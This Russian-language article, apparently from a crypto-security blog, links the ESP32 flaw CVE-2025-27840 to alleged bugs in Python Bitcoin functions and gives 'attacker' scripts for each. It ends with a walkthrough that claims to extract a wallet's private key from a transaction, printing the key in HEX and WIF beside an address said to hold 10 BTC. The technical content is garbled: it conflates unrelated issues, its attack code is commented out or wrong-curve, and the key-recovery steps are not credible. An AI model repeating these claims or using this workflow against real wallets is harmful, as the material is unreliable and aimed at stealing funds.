demining/bluetooth-attacks-cve-2025-27840Биткойн-криптоанализ: Уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств IoT через Wi-Fi и Bluetooth
В данной статье рассматривается, как злоумышленник может внедрить скрытый список уязвимостей через обновления модулей, что может привести к компрометации устройств ESP32 и получению несанкционированного доступа к закрытым ключам, затрагивая миллиарды устройств, использующих этот микроконтроллер. Одной из ключевых проблем является уязвимость CVE-2025-27840, обнаруженная в архитектуре ESP32. Для обеспечения безопасности сети Биткоин мы выявили следующие уязвимости: возможность использования недействительных закрытых ключей из-за отсутствия проверки нижней границы в функции has_invalid_privkey; уязвимость подделки подписи транзакций в функции electrum_sig_hash из-за несовместимости с BIP-137; проблема слабого PRNG в функции генерации ключей random_key, делающая личные закрытые ключи для криптовалютных кошельков предсказуемыми; отсутствие проверки точек на кривой ECC в функции multiply, что может привести к атакам на недопустимые кривые; уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты, потенциально ведущая к подмене открытого ключа; а также уязвимости, связанные с устаревшими API хеширования в bin_ripemd160.
В начале марта 2025 года компания Tarlogic Security выявила уязвимость в микроконтроллере ESP32, который широко используется для подключения устройств через Wi-Fi и Bluetooth. Эта уязвимость была зарегистрирована под номером CVE-2025-27840. Злоумышленники могут получить несанкционированный доступ к данным кошельков Биткоин, используя чип ESP32 в качестве точки для криптографических атак на устройства, работающие в сетях популярных криптовалют, таких как Биткоин и Эфириум. Эта проблема затрагивает миллионы IoT-устройств, использующих данный микроконтроллер. Эксплуатация этой уязвимости позволит злоумышленникам проводить атаки под видом легитимных пользователей и постоянно заражать уязвимые устройства. Это угрожает безопасности IoT-устройств на базе микроконтроллера ESP32 и может привести к краже закрытых ключей кошельков Биткоин.
ESP32 — это микроконтроллер, широко используемый в IoT-устройствах для обеспечения подключения по Wi-Fi и Bluetooth. Злоумышленники могут использовать различные методы для получения доступа к данным закрытых ключей кошельков Биткоин через ESP32.
Угрозы безопасности, связанные с микроконтроллером ESP32, могут привести к краже закрытых ключей кошельков Биткоин. Основные проблемы включают наличие бэкдоров и уязвимостей. Используя такие уязвимости, они могут манипулировать памятью, подделывать MAC-адреса и внедрять вредоносный код, что создает серьезные риски для безопасности.
Злоумышленники могут атаковать IoT-устройства с микроконтроллером ESP32, используя уязвимости в Bluetooth- и Wi-Fi-соединениях, что может стать инструментом для атак на другие устройства в сети, связанной с Биткоин, а также для кражи конфиденциальной информации, включая закрытые ключи для кошельков Биткоин.
Злоумышленник может обновлять модули и вносить в код список различных уязвимостей, включая:
has_invalid_privkey, которая может быть использована для получения закрытого ключа.electrum_sig_hash, позволяющая подделывать подписи транзакций Биткоин.random_key, связанная со слабым генератором псевдослучайных чисел (недетерминированный PRNG).multiply, где отсутствует проверка точки на кривой ECC.ecdsa_raw_sign и bin_ripemd160.Эти уязвимости могут быть использованы для внедрения поддельных обновлений в устройства ESP32, предоставляя злоумышленникам низкоуровневый доступ к системе. Это позволит им обходить средства контроля аудита кода и получать доступ к закрытым ключам. В настоящее время миллиарды устройств могут быть уязвимы из-за скрытых особенностей одного компонента в их архитектуре, который обозначен как CVE-2025-27840.
has_invalid_privkeyЭта уязвимость была найдена в коде проверки закрытых ключей Биткоин, что позволяет использовать недействительные ключи (меньше или равные 0) из-за отсутствия проверки нижней границы. Это может привести к потере средств. Для исправления необходимо добавить проверку, чтобы убедиться, что закрытый ключ больше 0. Код предоставлен в демонстрационных целях.
Эта ошибка позволяет использовать недопустимые закрытые ключи, что может привести к серьезным проблемам, включая потерю денег.
Для исправления необходимо добавить проверку, чтобы убедиться, что закрытый ключ больше 0.
Представьте, что кто-то пытается «взломать» сеть Биткоин. Они находят слабое место в проверке закрытых ключей, используемых для доступа к криптовалюте.
Проблема в том, что код проверяет только, не слишком ли велик закрытый ключ. Если ключ очень большой, он отклоняется. Но код забывает проверить, не слишком ли мал ключ (меньше или равен нулю).
Фрагмент кода, где это происходит:
...
...if privkey >= N: #Проверка только верхней границыНижняя граница проверяется неправильно
raise Exception("Invalid privkey")
if privkey <= 0: #
return True
...
...
Из-за этой ошибки можно использовать недействительные (очень маленькие) закрытые ключи. Эта уязвимость находится в функции has_invalid_privkey.
Для всего этого необходимо установить библиотеку ecdsa (она нужна для работы с криптографией):
Python-скрипт secp256k1_privkey_validator.py
!pip install ecdsa
import ecdsa
def has_invalid_privkey(privkey: int) -> bool:
"""
Проверяет, является ли закрытый ключ недействительным, на основе отсутствия проверки нижней границы.
Args:
privkey: Проверяемый закрытый ключ.
Returns:
True, если закрытый ключ недействителен (<= 0 или >= N), иначе False.
"""
# Порядок эллиптической кривой secp256k1, используемой Биткоин
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
if privkey >= N: # Проверка только верхней границы
raise Exception("Invalid privkey")
if privkey <= 0: # Проверка нижней границы отсутствует
return True
return False
# Пример использования
privkey = 0 # Недействительный закрытый ключ
is_invalid = has_invalid_privkey(privkey)
if is_invalid:
print("Invalid private key!")
else:
print("Valid private key.")
Объяснение кода:
ecdsa : Хотя она не используется напрямую в этом примере, в реальных сценариях с Биткоин и ECDSA (алгоритм цифровой подписи на эллиптических кривых) эта библиотека может потребоваться для выполнения криптографических операций.has_invalid_privkey(privkey: int) -> bool :
privkeyПринимает закрытый ключ в виде целого числа на вход .N, представляющую порядок эллиптической кривой secp256k1, используемой в Биткоин.privkeyбольше или равным N. Если да, вызывает исключение, указывающее на недействительность закрытого ключа.privkeyменьше или равным 0. Если да, возвращает True, указывая, что закрытый ключ недействителен из-за отсутствия проверки нижней границы.False.privkey = 0, которое является недействительным закрытым ключом.Уязвимость :
Код содержит уязвимость, связанную с недостаточной проверкой закрытого ключа. А именно, отсутствует проверка нижней границы (privkey <= 0). Это позволяет использовать недействительные закрытые ключи, что может привести к непредсказуемым последствиям, включая потерю средств.
Как исправить :
Необходимо добавить проверку нижней границы закрытого ключа, чтобы убедиться, что он больше 0.
electrum_sig_hashФункция electrum_sig_hash в Electrum использует нестандартный метод хеширования сообщений, что делает её уязвимой для атак подделки подписей из-за несовместимости с BIP-137.
Злоумышленник, нацеленный на сеть Биткоин, может обнаружить нестандартный метод хеширования сообщений, используемый Electrum, через electrum_sig_hash. Эта функция создает хеш сообщения таким образом, что может привести к атакам подделки подписей из-за несовместимости с BIP-137. Предоставленный Python-скрипт демонстрирует, как злоумышленник может сгенерировать хеш сообщения, используемый Electrum, для эксплуатации уязвимости несовместимости с BIP-137. Функция electrum_sig_hash подготавливает сообщение, добавляя префикс и кодируя его длину, а затем дважды хеширует его с помощью SHA256.
Python-скрипт, демонстрирующий, как злоумышленник может найти нестандартный хеш сообщения, используемый Electrum, для выполнения атак подделки подписей из-за несовместимости с BIP-137.
Python-скрипт bitcoin_sign_hash.py
!pip install ecdsa
import hashlib
def num_to_var_int(i):
if i < 0xfd:
return i.to_bytes(1, 'little')
elif i <= 0xffff:
return b'\xfd' + i.to_bytes(2, 'little')
elif i <= 0xffffffff:
return b'\xfe' + i.to_bytes(4, 'little')
else:
return b'\xff' + i.to_bytes(8, 'little')
def from_string_to_bytes(s):
return s.encode('utf-8')
def bin_dbl_sha256(s):
hash1 = hashlib.sha256(s).digest()
hash2 = hashlib.sha256(hash1).digest()
return hash2
def electrum_sig_hash(message):
padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message)
return bin_dbl_sha256(padded)
# Пример использования
message = "Example message for signing"
message_hash = electrum_sig_hash(message)
print(f"Electrum message hash: {message_hash.hex()}")
В этом скрипте:
num_to_var_int(i): преобразует целое число в формат переменной длины, используемый в Биткоин.from_string_to_bytes(s): кодирует строку в байты с использованием кодировки UTF-8.bin_dbl_sha256(s): выполняет двойное хеширование SHA256 входных данных.electrum_sig_hash(message): имитирует нестандартный способ хеширования сообщений Electrum, который подвержен несовместимости с BIP-137.random_keyСлабый PRNG при генерации ключей (недетерминированный PRNG)Проблема возникает, когда Биткоин использует функцию random_key, которая полагается на модуль для создания ключей random. Модуль random не предназначен для криптографических целей, поскольку не генерирует достаточно случайные числа, что делает закрытые ключи предсказуемыми для злоумышленников. Это оставляет сеть Биткоин уязвимой.
Скрипт Python, который делает сеть Bitcoin уязвимой, используя random вместо secrets или os.urandom, что делает закрытые ключи предсказуемыми для атакующего на Bitcoin:
Скрипт Python privkey_generate.py
import random
import time
from hashlib import sha256
def random_string(length):
return ''.join(random.choice('0123456789abcdef') for i in range(length))
def random_key():
# Gotta be secure after that java.SecureRandom fiasco...
entropy = random_string(32) \
+ str(random.randrange(2**256)) \
+ str(int(time.time() * 1000000))
return sha256(entropy.encode('utf-8')).hexdigest()
# Example usage: generate a private key
private_key = random_key()
print("Generated Private Key:", private_key)Этот скрипт использует модуль random для генерации ключей, что делает его уязвимым. Использование модуля random не подходит для криптографических целей, поскольку он не генерирует достаточно случайные числа.
Чтобы создать более безопасный ключ, можно использовать модуль secrets или os.urandom. Вот пример использования модуля secrets:
import secrets
import hashlib
def secure_random_key():
# Generate a random number with enough entropy
random_bytes = secrets.token_bytes(32) # 32 bytes = 256 bits
# Hash the random bytes to create a private key
private_key = hashlib.sha256(random_bytes).hexdigest()
return private_key
# Example usage: generate a secure private key
secure_private_key = secure_random_key()
print("Generated Secure Private Key:", secure_private_key)В этом примере модуль secrets используется для генерации случайного числа с достаточной энтропией. Затем случайное число хэшируется для создания личного закрытого ключа. Этот метод гораздо безопаснее, чем использование модуля random.
Уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты может привести к подмене открытого ключа в сети Bitcoin. Существует высокий риск того, что злоумышленник может использовать особенность восстановления Y-координаты при работе с эллиптической кривой. Эта неоднозначность может привести к тому, что открытый ключ будет восстановлен неправильно.
Пример кода, предоставленный с использованием библиотеки pycryptodome, демонстрирует, как можно смоделировать эту ситуацию путем замены Y-координаты для получения другого, недействительного открытого ключа. Важно отметить, что пример кода упрощен и не является полной реализацией атаки, а лишь показывает ее принцип.
Злоумышленник может использовать неоднозначность восстановления Y-координаты в сети Bitcoin, что может привести к ошибкам при восстановлении открытого ключа. Вот пример того, как это можно сделать с помощью поразрядной операции XOR.
Скрипт Python weak_key_recovery.py
!pip install pycryptodome
from hashlib import sha256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import secrets
# Elliptic curve parameters secp256k1
# PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve.
# Therefore, we will use the standard ECC curve.
# For production code, be careful when choosing the curve and its parameters.
def hash_to_int(msghash):
return int(sha256(msghash.encode('utf-8')).hexdigest(), 16)
def deterministic_generate_k(msghash, priv_key_int):
k = 0
while k == 0:
v = b'\x01' * 32
k = b'\x00' * 32
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant
return k
def ecdsa_raw_sign(msghash, priv_key_int):
z = hash_to_int(msghash)
k = deterministic_generate_k(msghash, priv_key_int)
# Generate private key object
key = ECC.construct(curve='P-256', d=priv_key_int)
# Calculate point R = kG
# PyCryptodome does not provide direct access to the coordinates of point R
# Therefore, the signature will be calculated in a different way, using DSS
# s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined
# v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y is not available
return key, z, k # Return the key, hash, and k for further use in signing
def recover_pubkey(msghash, signature, key):
# WARNING: This is a VERY SIMPLIFIED example of public key recovery.
# In real life, ECDSA public key recovery is a complex process.
# This code is intended only to demonstrate the principle.
# PyCryptodome does not have a simple way to recover PublicKey from r and s directly.
# This code does not perform real recovery, but creates a new PublicKey from the private key.
# In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey.
# But this requires a more complex logic to work with the elliptic curve. return key.public_key()def emulate_attack(msghash, priv): # 1. Sign the message priv_key_int = int(priv, 16) key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. Attempt to recover the public key (incorrectly) Q = recover_pubkey(msghash, signature, key) # 3. Simulate a situation where the Y coordinate is recovered incorrectly # In a real attack scenario, an attacker will try to iterate through different y-coordinates. # In this example, we simply change the x-coordinate slightly tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! Q_tampered = tampered_key.public_key() return Q, Q_tampered # Example usage msghash = "Message example" # Generate a random private key private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # Store private key as a hex string # Example usage Q, Q_tampered = emulate_attack(msghash, priv) print("Original Public Key:", Q) print("Tampered Public Key:", Q_tampered) print("Are the keys equal?", Q == Q_tampered)
Этот скрипт демонстрирует, как можно изменить Y-координату для получения недействительного открытого ключа.
Обратите внимание, что это всего лишь пример, и реальная атака может быть гораздо сложнее.
В дополнение к приведенному выше скрипту, вот несколько дополнительных моментов, которые следует учитывать:
Устаревшие API хэширования в сети Bitcoin, особенно при отсутствии RIPEMD-160, могут быть уязвимы. Злоумышленники могут выявлять и использовать слабые реализации, что подчеркивает важность использования современных криптографических библиотек и регулярных обновлений безопасности.
Злоумышленник в сети Bitcoin может найти уязвимость в устаревшем API хэширования, особенно если в некоторых системах отсутствует реализация RIPEMD-160. Проблема заключается в функции bin_ripemd160, которая пытается использовать hashlib для хэширования, но в случае неудачи переключается на собственную, потенциально более слабую реализацию.
Предоставленный скрипт Python демонстрирует, как злоумышленник может протестировать узел Bitcoin на наличие такой слабой реализации API. Если hashlib не поддерживает RIPEMD-160, используется упрощенная реализация, что может привести к коллизиям хэшей и другим уязвимостям. Скрипт имитирует атаку путем хэширования данных и выводит предупреждение, если используется слабая реализация.
Риски включают возможность подделки транзакций и использования известных уязвимостей в устаревших API. Для защиты рекомендуется использовать современные и проверенные криптографические библиотеки, регулярно обновлять программное обеспечение Bitcoin и проверять вывод криптографических операций.
Скрипт Python, в котором злоумышленник Bitcoin находит устаревший API хэширования и обсуждает риск отсутствия реализации RIPEMD-160 в определенных средах:
Скрипт Python ripemd160_vulnerability.py
RIPEMD160 имитирует реализацию RIPEMD160. В реальности он должен реализовывать алгоритм хэширования RIPEMD160. Для целей демонстрации он возвращает фиктивный хэш.bin_ripemd160(string):
check_for_weak_api(data):
bin_ripemd160для хеширования данных.if __name__ == "__main__":задаются образцы данных и вызывается check_for_weak_apiс этими данными.hashlibдля хеширования RIPEMD160. Если это не удается (поскольку hashlibв конкретном окружении не поддерживает RIPEMD160), используется пользовательская реализация (в данном примере упрощенная версия).multiply — отсутствие проверки точки на кривой ECCВ сети Bitcoin существует потенциальная уязвимость в функции multiply из-за недостаточной валидации точек на кривой ECC. Это может позволить атакующему провести атаку с использованием недействительных кривых, хотя современные криптографические библиотеки, такие как pycryptodome, затрудняют такую эксплуатацию. Атака возможна через манипуляции с кривой Якоби , что может привести к подделке подписей и манипуляции сетью.
В сети Bitcoin атакующий может найти уязвимость в функции multiply, в которой отсутствует полная проверка принадлежности точки эллиптической кривой (ECC). В коде проверка выполняется только для ненулевых точек, что открывает возможность для атак с использованием недействительных кривых (invalid curve attacks).
Пример кода атакующего показывает, как можно использовать эту уязвимость. В нем демонстрируется функция multiply, в которой отсутствует надежная проверка точки на кривой, и функция invalid_curve_attack, которая пытается воспользоваться этой слабостью. Код также использует библиотеки pycryptodome для криптографических операций.
Именно pycryptodome затрудняет прямое выполнение таких атак благодаря встроенным механизмам безопасности. Код показывает, как можно создать «неправильную» кривую и попытаться выполнить умножение, но подчеркивается, что это небезопасно и требует глубокого понимания криптографии.
Используя уязвимость в функции
multiply, атакующий может выполнить атаку с использованием недействительных кривых для компрометации закрытых ключей в сети Bitcoin. Ниже представлен пример скрипта на Python, демонстрирующий эту атаку.
Скрипт Python ecdsa_curve_attack.py
!pip install pycryptodome
from Crypto.Hash import SHA256
from Crypto.Signature import DSS
from Crypto.PublicKey import ECC
from Crypto.Math import *
class Exploit:
def __init__(self):
self.msg = "ATTACK!"
self.hash = hash_msg(self.msg)
def sign_message(self, private_key):
signer = DSS.new(private_key, 'fips-186-3')
signature = signer.sign(self.hash)
return signature
def verify_signature(self, public_key, signature):
verifier = DSS.new(public_key, 'fips-186-3')
try:
verifier.verify(self.hash, signature)
return True
except ValueError:
return False
def hash_msg(msg):
hasher = SHA256.new(msg.encode('utf-8'))
return hasher.digest()
# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used)
# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS!
# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION!
curve = 'secp256r1' # Or another curve
# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply)
# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives.
def multiply(pubkey, privkey):
# WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE!
# IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS!
# Checking if the point is on the curve. In PyCryptodome, this is done automatically.
#Performing multiplication
result = privkey.d * pubkey.pointQ
return result
# Example of invalid curve attack (adapted for pycryptodome)
def invalid_curve_attack(public_key, malformed_curve_parameters):
# Creating a "wrong" curve (example!)
#malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'],
# malformed_curve_parameters['oid'],
# malformed_curve_parameters['field'],
# malformed_curve_parameters['a'],
# malformed_curve_parameters['b'],
# malformed_curve_parameters['generator'],
# malformed_curve_parameters['order'])
# Creating a public key on the "wrong" curve (example!)
#attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve)
# Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result)
Пояснение кода:
multiplyпроверяет принадлежность точки кривой ECC только в том случае, если это не точка на бесконечности. Это позволяет использовать точки, не принадлежащие основной кривой, но принадлежащие твист-кривой.invalid_curve_attack: Эта функция принимает открытый ключ и параметры недействительной кривой. Она создает точку на недействительной кривой и использует уязвимую функцию multiplyдля выполнения умножения.Как работает атака с использованием малых подгрупп (Small Subgroup Attack):
Qмалого порядка на кривой или на твисте кривой.Qжертве, выдавая ее за свой открытый ключ.nQ, где n — секретный ключ жертвы.Qимеет малый порядок, существует небольшое количество возможных значений для nQ . Атакующий может перебрать все эти значения и проверить, какое из них соответствует зашифрованным данным, раскрывая nпо модулю порядка Q.Рекомендации:
Расшифруйте уязвимую транзакцию RawTX с помощью функции сервиса SMALL SUBGROUP ATTACK
Результат — значение K секретного ключа Nonce в HEX формате
K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2Чтобы получить все остальные значения из уязвимой транзакции RawTX, мы воспользуемся сервисом декодирования подписей RSZ.
Результирующие значения для R, S, Z в HEX формате
R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0
S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9
Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8Чтобы получить значение X закрытого ключа по формуле: priv_key = ((((S * K) - Z) * modinv(R, N)) % N)мы воспользуемся программой Dockeyhunt Private Key Calculator
В результате мы получаем значение X закрытого ключа в HEX формате
X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34Запустим BitcoinChatGPT
%run BitcoinChatGPTПримените функцию SMALL SUBGROUP ATTACK для извлечения закрытого ключа из уязвимой транзакции RawTX в криптовалюте Bitcoin
Наконец, модуль BitcoinChatGPT выводит ответ в файл: KEYFOUND.privkey, сохраняя закрытый ключ в двух наиболее используемых форматах HEX и WIF
https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey
============================= KEYFOUND.privkey =============================
Приватный ключ HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Приватный ключ WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
Биткоин-адрес: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
Баланс: 10.00000000 BTC
============================= KEYFOUND.privkey =============================Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и закрытых ключей криптовалюты Bitcoin.
!pip3 install bitcoinЗапустим код для проверки соответствия биткоин-адреса:
__________________________________________________
Приватный ключ WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Биткоин-адрес: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
total_received = 10.00000000 Bitcoin
__________________________________________________Верно! Закрытый ключ соответствует биткоин-кошельку.
ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
В современной цифровой среде обеспечение безопасности устройств и сетей имеет решающее значение. В данной работе анализируется ряд уязвимостей, обнаруженных в различных компонентах, включая устройства ESP32 и программное обеспечение для работы с криптовалютами, такими как Bitcoin. Мы рассматриваем недостатки в коде проверки закрытых ключей, методах хеширования транзакций, генерации случайных ключей, проверке точек эллиптической кривой, восстановлении Y-координаты и устаревших API хеширования. Особое внимание уделяется уязвимости CVE-2025-27840 в микроконтроллерах ESP32, которая позволяет злоумышленникам внедрять поддельные обновления и получать низкоуровневый доступ к системе. Обсуждаются потенциальные последствия этих уязвимостей, включая возможность обхода средств аудита кода, получения доступа к закрытым ключам и проведения атак на цепочку поставок. Работа завершается рекомендациями по усилению безопасности и предотвращению потенциальных атак.
Миллиарды устройств теперь могут быть уязвимы к скрытым проектным недостаткам в одном компоненте, идентифицированном как CVE-2025-27840. Уязвимости могут позволить злоумышленникам подделывать MAC-адреса, получать несанкционированный доступ к памяти устройства и проводить атаки через Bluetooth.
has_invalid_privkey : Отсутствие проверки нижней границы для закрытых ключей Bitcoin позволяет использовать недопустимые ключи (меньше или равные 0), что может привести к потере средств.electrum_sig_hash : Использование Electrum нестандартного метода хеширования сообщений делает его уязвимым для атак подделки подписей из-за несовместимости с BIP-137.random_key(Слабый ГПСЧ в генерации ключей) : Использование модуля генерации randomключей в сети Bitcoin делает закрытые ключи предсказуемыми для злоумышленников, поскольку этот модуль не предназначен для криптографических целей.multiply(Отсутствие проверки точек эллиптической кривой) : Недостаточная проверка точек на эллиптической кривой может позволить злоумышленнику провести атаки с использованием некорректных кривых, что может привести к подделке подписей и манипуляции сетью.ecdsa_raw_sign : Неправильное восстановление Y-координаты может привести к подмене открытого ключа в сети Bitcoin.bin_ripemd160 : Устаревшие API хеширования, особенно те, в которых отсутствует RIPEMD-160, могут быть уязвимы для атак, что подчеркивает важность использования современных криптографических библиотек и регулярных обновлений безопасности.
random_keyи ecdsa_raw_sign, повышает общую безопасность сети Bitcoin и предотвращает потенциальные атаки на транзакции и подписи.Выявление и анализ уязвимостей, представленные в этой работе, подчеркивают необходимость постоянного мониторинга и улучшения безопасности устройств и программного обеспечения. Устранение этих уязвимостей не только предотвращает потенциальные атаки и финансовые потери, но и способствует укреплению доверия пользователей и соблюдению стандартов безопасности. Внедрение надежных механизмов защиты и регулярные обновления безопасности являются ключом к обеспечению безопасной и надежной работы цифровых систем. Необходимость повышения безопасности в устройствах и сетях, таких как ESP32, становится все более актуальной.
Этот материал создан для портала CRYPTO DEEP TECH с целью обеспечения безопасности финансовых данных и криптографии на эллиптических кривых secp256k1 против слабых ECDSA подписей в BITCOIN криптовалюте. Создатели программного обеспечения не несут ответственности за использование материалов.
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/nBeZWm2z5o4
Видеоурок: https://dzen.ru/video/watch/6784be61b09e46422395c236
Источник: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks
has_invalid_privkeyдля проверки privkey.